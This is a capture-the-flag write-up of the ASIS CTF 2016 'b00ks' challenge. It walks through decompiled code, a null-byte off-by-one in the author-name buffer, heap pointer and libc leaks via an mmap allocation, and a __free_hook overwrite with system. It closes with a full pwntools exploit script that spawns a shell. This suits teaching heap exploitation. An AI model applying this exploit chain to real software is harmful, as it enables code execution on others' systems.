Asia CTF 2016 for off by one vulnerability

Asis CTF 2016 b00ks (null byte overflow)(heap)

Is a library management program

Pull in ida to decompile the source code. For readability, I rename some variables.

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  struct _IO_FILE *v3; // rdi
  int v5; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = stdin;
  setvbuf(stdin, 0LL, 1, 0LL);
  sub_A77();
  get_author_name();
  while ( 1 )
  {
    v5 = menu();
    if ( v5 == 6 )
      break;
    switch ( v5 )
    {
      case 1:
        create(v3);
        break;
      case 2:
        delete(v3);
        break;
      case 3:
        edit(v3);
        break;
      case 4:
        show(v3);
        break;
      case 5:
        get_author_name();
        break;
      default:
        v3 = (struct _IO_FILE *)"Wrong option";
        puts("Wrong option");
        break;
    }
  }
  puts("Thanks to use our library software");
  return 0LL;
}

There are five main processing operations reflected in the program, as shown in the menu:

puts("\n1. Create a book");
puts("2. Delete a book");
puts("3. Edit a book");
puts("4. Print book detail");
puts("5. Change current author name");

Take a look at some key functions

my_read function

__int64 __fastcall my_read(_BYTE *ptr, int size)
{
  int i; // [rsp+14h] [rbp-Ch]

  if ( size <= 0 )
    return 0LL;
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)read(0, ptr, 1uLL) != 1 )
      return 1LL;
    if ( *ptr == 10 )
      break;
    ++ptr;
    if ( i == size )
      break;
  }
  *ptr = 0;//The last byte at szie+1 is cleared
  return 0LL;
}

This function is used to read into ptr byte by byte, a total of size bytes.

create function

__int64 create()
{
  int size; // [rsp+0h] [rbp-20h] BYREF
  int Id; // [rsp+4h] [rbp-1Ch]
  void *book_control_ptr; // [rsp+8h] [rbp-18h]
  void *book_name_ptr; // [rsp+10h] [rbp-10h]
  void *book_description_ptr; // [rsp+18h] [rbp-8h]

  size = 0;
  printf("\nEnter book name size: ");
  __isoc99_scanf("%d", &size);
  if ( size < 0 )
    goto LABEL_2;
  printf("Enter book name (Max 32 chars): ");
  book_name_ptr = malloc(size);
  if ( !book_name_ptr )
  {
    printf("unable to allocate enough space");
    goto LABEL_17;
  }
  if ( (unsigned int)my_read(book_name_ptr, size - 1) )
  {
    printf("fail to read name");
    goto LABEL_17;
  }
  size = 0;
  printf("\nEnter book description size: ");
  __isoc99_scanf("%d", &size);
  if ( size < 0 )
  {
LABEL_2:
    printf("Malformed size");
  }
  else
  {
    book_description_ptr = malloc(size);
    if ( book_description_ptr )
    {
      printf("Enter book description: ");
      if ( (unsigned int)my_read(book_description_ptr, size - 1) )
      {
        printf("Unable to read description");
      }
      else
      {
        Id = id();
        if ( Id == -1 )
        {
          printf("Library is full");
        }
        else
        {
          book_control_ptr = malloc(0x20uLL);
          if ( book_control_ptr )
          {
            *((_DWORD *)book_control_ptr + 6) = size;
            *((_QWORD *)book_control_addr_ptr + Id) = book_control_ptr;
            *((_QWORD *)book_control_ptr + 2) = book_description_ptr;
            *((_QWORD *)book_control_ptr + 1) = book_name_ptr;
            *(_DWORD *)book_control_ptr = ++unk_202024;
            return 0LL;
          }
          printf("Unable to allocate book struct");
        }
      }
    }
    else
    {
      printf("Fail to allocate memory");
    }
  }
LABEL_17:
  if ( book_name_ptr )
    free(book_name_ptr);
  if ( book_description_ptr )
    free(book_description_ptr);
  if ( book_control_ptr )
    free(book_control_ptr);
  return 1LL;
}

This program applies for three heap operations. First, apply for chunk0 of any size for book name; Then apply for chunk1 of any size to the description of book; Finally, apply for chunk2 with the size of 0x20, save the order of books, the above two return pointers, and the size of description.

This is like defining a maintenance structure for book

struct book {
    __int64 id;
    char *name;
    char *description
    __int64 size;
}

Debug the program, create a book, and view the specific contents of the heap, which are book from top to bottom_ name,book_description,book_control the three chunk s, which can be clearly understood in combination with the figure drawn above.

delete function

__int64 delete()
{
  int v1; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  i = 0;
  printf("Enter the book id you want to delete: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0 )
  {
    for ( i = 0; i <= 19 && (!*((_QWORD *)book_control_addr_ptr + i) || **((_DWORD **)book_control_addr_ptr + i) != v1); ++i )
      ;
    if ( i != 20 )
    {
      free(*(void **)(*((_QWORD *)book_control_addr_ptr + i) + 8LL));//Release stored book_name's chunk
      free(*(void **)(*((_QWORD *)book_control_addr_ptr + i) + 16LL));//Release the chunk where the description is stored
      free(*((void **)book_control_addr_ptr + i));//Release book_ chunk of control
      *((_QWORD *)book_control_addr_ptr + i) = 0LL;
      return 0LL;
    }
    printf("Can't find selected book!");
  }
  else
  {
    printf("Wrong id");
  }
  return 1LL;
}

The delete function mainly operates on the three free chunk s

Other functions are read and write operations on the three chunk s, so I won't be verbose.

Vulnerability exploitation

At the beginning of the program, the size read in when entering author name is 32, which has a boundary check problem and is a null byte off by one vulnerability.

From ida, you can see off_202018 points to a 32 byte storage space of the bss segment.

The address in the debugging environment is 0x55575600 ~ 0x55575605f

0x555756060 is book_ control_ addr_ Start storage location of PTR, book_control_addr_ptr is to store books_ control_ PTR array, and every book_ control_ The subscripts of the PTR array correspond to their IDs one by one.

The read function does not add the \ x00 character, which is where I disagree with some articles on the Internet. Why off_202018[size] the next byte will be 00 because my_ The operation defined by the read function. Will replace \ x0a with \ x00.

*ptr = 0;

Enter 32 characters, my_ The read function reads characters and carriage return characters, and \ x0a is replaced by \ x00, which is placed at 0x555756060. In this way, when 0x55555756060 ~ 0x55555756068 are written to the book pointer, the terminator \ x00 will be overwritten.

That is to say, on the basis of again, by calling the show function

LODWORD(v0) = printf("Author: %s\n", (const char *)off_202018);

This printf in the function can print the following pointer 0x00005555757710 to achieve the purpose of revealing the address.

The following figure shows the memory distribution after entering the 32 byte name of the author and creating a book.

Since the main program also provides the function of modifying author name, it can completely cover the low byte of the stored pointer with the out of bounds 00 character according to the above operation. From 0x00005555757710 to 0x00005555757700

Then apply for a larger book_ The chunk of description contains the address of the overwritten pointer, that is, let the pointer point to the content we can control

The above is the embodiment of off by one of null byte overflow in this problem.

So far, the vulnerability can be used to read and modify arbitrary addresses

If PIE is closed, you can directly modify the got address of some external functions, such as free, to the system address, and construct parameters to realize utilization.

However, PIE on means that the data segments and code segments change addresses. And there is no good vulnerability to directly disclose the libc base address.

So, next is another essence of this problem. Enough space is required so that the heap can only be allocated in mmap mode (not brk expansion). Since the offset between the mmap address and libc is fixed, you can leak the mmap address and then calculate the base address of libc with the offset.

Train of thought analysis

  • First create the first book1, the size of descripton is 0x140, and put the book_control_ptr, the chunk2 return address of the first book, was leaked

  • create the second book2. The size of name and description is 0x21000 bytes, which will be allocated by the mmap function

  • In the description of book1, fake the chunk 2 of fake book, and the pointer inside is constructed by us: let its name pointer and description pointer point to the reserved place of the name pointer and description pointer of chunk 2 of book2 respectively, and the two addresses are calculated through the leaked address.

  • Through the overflow coverage of null byte, the original chunk2 pointing to book1 is transformed into the return address of chunk2 pointing to fake book, which is equivalent to the operation on book1 is the operation on fake fake book

  • By showing Book1, the name pointer of book2 can be revealed. In this way, the libc base address can be calculated according to the offset between mmap and libc

  • Calculated by libc base address__ free_ The actual location of hook and system in the program

  • Modify the name pointer of book2 to bin through book1_ SH, description pointer is__ free_hook, modify the description of second b00k to system. In this way, when edit ing, you will__ free_ Change the address of hook to the address of system

  • Finally, execute delete book2. The program will free book2_name is a chunk, but free is changed to system, Book2_ The address of name is / bin/sh. This executes system('/bin/sh').

The exploit code is as follows:

from pwn import *
context.log_level="info"

binary=ELF("b00ks")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=process("./b00ks")


def createbook(name_size,name,des_size,des):
	io.readuntil("> ")
	io.sendline("1")
	io.readuntil(": ")
	io.sendline(str(name_size))
	io.readuntil(": ")
	io.sendline(name)
	io.readuntil(": ")
	io.sendline(str(des_size))
	io.readuntil(": ")
	io.sendline(des)

def printbook(id):
	io.readuntil("> ")
	io.sendline("4")
	io.readuntil(": ")
	for i in range(id):
		book_id=int(io.readline()[:-1])
		io.readuntil(": ")
		book_name=io.readline()[:-1]
		io.readuntil(": ")
		book_des=io.readline()[:-1]
		io.readuntil(": ")
		book_author=io.readline()[:-1]
	return book_id,book_name,book_des,book_author

def createname(name):
	io.readuntil("name: ")
	io.sendline(name)

def changename(name):
	io.readuntil("> ")
	io.sendline("5")
	io.readuntil(": ")
	io.sendline(name)

def editbook(book_id,new_des):
	io.readuntil("> ")
	io.sendline("3")
	io.readuntil(": ")
	io.writeline(str(book_id))
	io.readuntil(": ")
	io.sendline(new_des)

def deletebook(book_id):
	io.readuntil("> ")
	io.sendline("2")
	io.readuntil(": ")
	io.sendline(str(book_id))

createname("A"*32)
createbook(0x140,"a",0x140,"a")
createbook(0x21000,"a",0x21000,"b")

book_id_1,book_name,book_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:"+hex(book1_addr))

payload='a'*0x90+p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x38)+p64(0xffff)
editbook(book_id_1,payload)

changename("A"*32)
book_id_1,book_name,book_des,book_author=printbook(1)

book2_name_addr=u64(book_name.ljust(8,"\x00"))
log.success("book2 name addr:"+hex(book2_name_addr))

libc_base=book2_name_addr-0x5c6010

log.success("libc base:"+hex(libc_base))

free_hook=libc_base + 0x3C67A8
bin_sh =libc_base + 0x18ce57
system=libc_base + 0x453a0
log.success("free_hook:"+hex(free_hook))
log.success("system:"+hex(system))
editbook(1,p64(bin_sh)+p64(free_hook))
editbook(2,p64(system))

deletebook(2)

io.interactive()

Added by cesar_ser on Mon, 24 Jan 2022 01:51:18 +0200